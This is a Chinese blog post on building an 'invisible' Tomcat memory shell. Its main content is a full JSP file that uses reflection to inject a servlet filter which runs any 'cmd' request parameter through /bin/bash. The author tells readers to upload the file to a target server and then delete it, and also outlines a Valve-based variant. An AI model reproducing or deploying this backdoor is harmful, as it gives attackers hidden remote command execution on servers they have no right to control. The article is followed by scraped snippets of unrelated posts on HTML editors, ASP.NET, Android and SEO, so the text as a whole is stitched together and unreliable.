Tomcat源代码调试:看不见的Shell第一式

抱着隐藏 shell 的目的去调试的 tomcat 的代码。我调试了tomcat 从接收到一个socket 到解析socket
并封装成Request 转发至 Jsp/Servlet
的全过程,找到了两个较为容易实现的方法(肯定还有其它的方法),这里记录一其中一个。另一个也很类似所以只记录一下思路。

1. 运行时动态插入过滤器

过滤器的基础概念以及作用这里不写了。

Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法:


  1. FilterRegistration.Dynamic addFilter(String filterName,String className)  
  2. FilterRegistration.Dynamic addFilter(String filterName,Filter filter)  
  3. FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)  

这三个方法使得我们可以在运行时动态地添加过滤器。

Tomcat 对 ServletContext 接口的实现类为:org.apache.catalina.core.ApplicationContextFacade

但是并没有简单到直接调用一下这可以实现,因为 Tomcat 在对这个接口的实现中,是只允许在容器还没有初始化完成的时候调用这几个方法。一旦容器初始化已经结束,调用时就会出现异常:

我看了一下这个 if
之后的语句,并不是太复杂,这使得我们完全可以自己用代码来执行后面的逻辑。写的过程也没有太顺利,我完全复制了后面的逻辑,但是动态插入过滤器却没有生效。所以去重新调试了一遍tomcat
接收处理请求的全过程,发现为请求组装filterChain 是在 StandardWrapperValve 里面进行的:

真正的组装方法位于:


  1. org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 

代码太长不截图了,有兴趣的可以自己去看。

组装完成后开始调用过滤器链。

我将
org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
方法内的细节与自己写的插入过滤器的细节做了对比,得出下面这个可以在Tomcat 8 (Tomcat 7 上的话需要小改一下)下实现我想要的目的
Jsp文件。直接看代码吧:


  1. <%@ page language="java" contentType="text/html; charset=UTF-8" 
  2.     pageEncoding="UTF-8"%> 
  3. <%@ page import="java.io.IOException"%> 
  4. <%@ page import="javax.servlet.DispatcherType"%> 
  5. <%@ page import="javax.servlet.Filter"%> 
  6. <%@ page import="javax.servlet.FilterChain"%> 
  7. <%@ page import="javax.servlet.FilterConfig"%> 
  8. <%@ page import="javax.servlet.FilterRegistration"%> 
  9. <%@ page import="javax.servlet.ServletContext"%> 
  10. <%@ page import="javax.servlet.ServletException"%> 
  11. <%@ page import="javax.servlet.ServletRequest"%> 
  12. <%@ page import="javax.servlet.ServletResponse"%> 
  13. <%@ page import="javax.servlet.annotation.WebServlet"%> 
  14. <%@ page import="javax.servlet.http.HttpServlet"%> 
  15. <%@ page import="javax.servlet.http.HttpServletRequest"%> 
  16. <%@ page import="javax.servlet.http.HttpServletResponse"%> 
  17. <%@ page import="org.apache.catalina.core.ApplicationContext"%> 
  18. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%> 
  19. <%@ page import="org.apache.catalina.core.StandardContext"%> 
  20. <%@ page import="org.apache.tomcat.util.descriptor.web.*"%> 
  21. <%@ page import="org.apache.catalina.Context"%> 
  22. <%@ page import="java.lang.reflect.*"%> 
  23. <%@ page import="java.util.EnumSet"%> 
  24. <%@ page import="java.util.Map"%> 
  25.  
  26.  
  27. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
  28. <html> 
  29. <head> 
  30. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
  31. <title>Insert title here</title> 
  32. </head> 
  33. <body> 
  34. <% 
  35. final String name = "n1ntyfilter"; 
  36.  
  37. ServletContext ctx = request.getSession().getServletContext(); 
  38. Field f = ctx.getClass().getDeclaredField("context"); 
  39. f.setAccessible(true); 
  40. ApplicationContext appCtx = (ApplicationContext)f.get(ctx); 
  41.  
  42. f = appCtx.getClass().getDeclaredField("context"); 
  43. f.setAccessible(true); 
  44. StandardContext standardCtx = (StandardContext)f.get(appCtx); 
  45.  
  46.  
  47. f = standardCtx.getClass().getDeclaredField("filterConfigs"); 
  48. f.setAccessible(true); 
  49. Map filterConfigs = (Map)f.get(standardCtx); 
  50.  
  51. if (filterConfigs.get(name) == null) { 
  52.    out.println("inject "+ name); 
  53.     
  54.    Filter filter = new Filter() { 
  55.       @Override 
  56.       public void init(FilterConfig arg0) throws ServletException { 
  57.          // TODO Auto-generated method stub 
  58.       } 
  59.        
  60.       @Override 
  61.       public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) 
  62.             throws IOException, ServletException { 
  63.          // TODO Auto-generated method stub 
  64.          HttpServletRequest req = (HttpServletRequest)arg0; 
  65.          if (req.getParameter("cmd") != null) { 
  66.             byte[] data = new byte[1024]; 
  67.             Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start(); 
  68.             int len = p.getInputStream().read(data); 
  69.             p.destroy(); 
  70.             arg1.getWriter().write(new String(data, 0, len)); 
  71.             return; 
  72.          }  
  73.          arg2.doFilter(arg0, arg1); 
  74.       } 
  75.        
  76.       @Override 
  77.       public void destroy() { 
  78.          // TODO Auto-generated method stub 
  79.       } 
  80.    }; 
  81.     
  82.    FilterDef filterDef = new FilterDef(); 
  83.     filterDef.setFilterName(name); 
  84.     filterDef.setFilterClass(filter.getClass().getName()); 
  85.     filterDef.setFilter(filter); 
  86.      
  87.     standardCtx.addFilterDef(filterDef); 
  88.     
  89.    FilterMap m = new FilterMap(); 
  90.    m.setFilterName(filterDef.getFilterName()); 
  91.    m.setDispatcher(DispatcherType.REQUEST.name()); 
  92.    m.addURLPattern("/*"); 
  93.     
  94.     
  95.    standardCtx.addFilterMapBefore(m); 
  96.     
  97.     
  98.    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 
  99.    constructor.setAccessible(true); 
  100.    FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef); 
  101.     
  102.     
  103.     filterConfigs.put(name, filterConfig); 
  104.      
  105.     out.println("injected"); 
  106. %> 
  107. </body> 
  108. </html> 

将以上 JSP 文件上传至目标服务器命名为 n1ntyfilter.jsp,访问后如果看到“injected”
字样,说明我们的过滤器已经插入成功,随后可以将此 jsp 文件删掉。随后,任何带有 cmd 参数的请求都会被此过滤器拦下来,并执行 shell
命令,达到“看不见的 shell”的效果。

2. 动态插入 Valve

Valve 是 Tomcat 中的用于对Container
组件(Engine/Host/Context/Wrapper)进行扩展一种机制。通常是多个Valve组装在一起放在Pipeline
里面。Tomcat 中 Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的。如果你熟悉
Struts2 中的拦截器机制,那么你会很容易理解valve + pipeline 的动作方式。Pipeline
就相当于拦截器链,而valve就相当于拦截器。

Valve 接口定义了如下的 invoke 方法:


  1. publicvoid invoke(Request request, Response response) 
  2.     throws IOException, ServletException; 

我们只需在运行时向 Engine/Host/Context/Wrapper 这四种 Container 组件中的任意一个的pipeline
中插入一个我们自定义的 valve,在其中对相应的请求进行拦截并执行我们想要的功能,就可以达到与上面Filter 的方式一样的效果。而且
filter 只对当前context 生效,而valve 如果插到最顶层的container 也就是 Engine,则会对 Engine
下的所有的context 生效。

以上两种方式,利用的时候都必须是通过 HTTP
的方式去真正地发起一个请求,因为在这些流程之前,Tomcat会检查接收自socket的前几个字节是不是符合HTTP
协议的要求,虽然被请求的文件可以不存在。如果想利用非HTTP 协议,则需要在tomcat 的Connector
上做手脚,这个复杂度就比以上两种方式要高很多了。

以上两种方式都会在 Tomcat 重启后失效。

本文作者:n1nty

来源:51CTO

时间: 2024-11-13 06:43:10

Tomcat源代码调试:看不见的Shell第一式的相关文章

我用vs2005 开发网站 使用freetextbox3.16和cuteEditir6.0本地调试正常,上传到空间就出错,看不见按钮图片

问题描述 我用vs2005开发网站使用freetextbox3.16和cuteEditir6.0本地调试正常,上传到某些空间就出错,看不见按钮图片,(但是有些服务器空间又可以正常使用)怎么办?各位大哥有没有好的html编辑器推荐啊? 解决方案 解决方案二:我用的是FCK解决方案三:我用的是FCK解决方案四:多谢拉!不过FCK按钮太多了,能减少点吗?我想要像csdn.net论坛我们正在使用这种简单的html编辑器能找到吗?

利用ASP.NET MVC源代码调试你的应用程序

之前写了一篇博客:利用.NET Framework4.0的源代码调试你的应用程序.那篇文章教你如何利用.NET Framework4.0的源代码帮助你调试应用程序,其实也就是进入.NET Framework4.0源代码进行单步调试.由于项目需要,最近学起asp.net mvc.昨天遇到ViewData和TempData他们之间的分别这样让我纠结的问题.有园友强烈建议我去看ASP.NET MVC的源代码.所以,我想到如何在调试ASP.NET MVC程序的时候,有不明白的地方,就单步进入ASP.NE

下载Google官方/CM Android源代码自动重新开始的Shell脚本

        国内由于某种原因,下载CM或Google官方的Android源代码总容易中断.总看着机器,一中断就重新执行repo sync还太麻烦,所以我特意编写了一段shell脚本(download.sh).通过获取shell最后返回的状态码来决定是否再次执行repo sync命令. #!/bin/bash echo "======start repo sync======" repo sync # 第一次下载android源代码 while [ $? != 0 ]; do ech

一起谈.NET技术,利用ASP.NET MVC源代码调试你的应用程序

之前写了一篇博客:利用.NET Framework4.0的源代码调试你的应用程序.那篇文章教你如何利用.NET Framework4.0的源代码帮助你调试应用程序,其实也就是进入.NET Framework4.0源代码进行单步调试.由于项目需要,最近学起asp.net mvc.昨天遇到ViewData和TempData他们之间的分别这样让我纠结的问题.有园友强烈建议我去看ASP.NET MVC的源代码.所以,我想到如何在调试ASP.NET MVC程序的时候,有不明白的地方,就单步进入ASP.NE

一起谈.NET技术,利用.NET Framework4.0的源代码调试你的应用程序

相关文章:利用ASP.NET MVC源代码调试你的应用程序 .NET Framework 的部分源代码是开源的.这些源代码可以供我们学习和参考.也可在也平时调试应用,直接跳入这些开源了的.NET Framework的代码中.这样既可以学习MS放出来的代码,又可以帮助自己调试.下面我用一个WPF的简单的例子演示一下. 新建一个WPF应用程序,拖一个button,后台代码弹出一个messagebox就行了. private void button1_Click(object sender, Rout

seo经济学:看不见的成本

很多企业选择seo的原因,就是两个字:便宜.他们认为做广告永远是最贵的,而做seo不用花大手笔在互联网上做广告,只要雇一个人或者一个团队把排名做上去,就可以坐等源源不断的流量滚滚而来,而且可以持续很长一段时间.然而真的是这样吗?seo服务真的有那么划算吗?姑且不做评论,先让我们一起来看看seo那些看不见的成本了吧. 1.吓人的风险.之所以先谈seo的风险,主要是考虑到最近的两次百度算法调整.相信大家都对最近的两次百度浩劫心有余悸吧.一个站如果被降权,损失是非常大的,被K了那就更是什么都没了,不仅

excel表格中怎么删除看不见的空格或符号?

  excel表格中怎么删除看不见的空格或符号?          方法一:各种处理方法对空格和不可见符号的处理能力对比 1.对比如图 方法二:用LEN函数判断看不见的空格和符号是否被删除. 1.用LEN函数计算单元格字符个数 因为是看不见的空格或者符号,我们无法用肉眼来判断是否删除成功,这时我们需要用LEN函数来辅助判断.比如在空白单元格B2中输入"=LEN(A2)",就能计算出A2单元格中字符的个数.用LEN函数计算处理前和处理后的单元格字符个数,就能判断出是否删除成功了. 方法三

不看不见DE视觉,不知不觉DE设计

隐形的尺寸.边缘的思量.手势的语汇.动画的语法- 看得见的视觉,看不见的视觉背后的设计故事--阿里巴巴中国站无线产品经验总结- 项目成员:刘宸寰(为一),夏明芬(夏夏), 黄海 (黄黄),裴芸,邱燕维(维维) 原文链接:http://liuchenhuan.net/?p=1610

看不见的视觉设计背后的故事

隐形的尺寸.边缘的思量.手势的语汇.动画的语法- 看得见的视觉,看不见的视觉背后的设计故事--阿里巴巴中国站无线产品经验总结-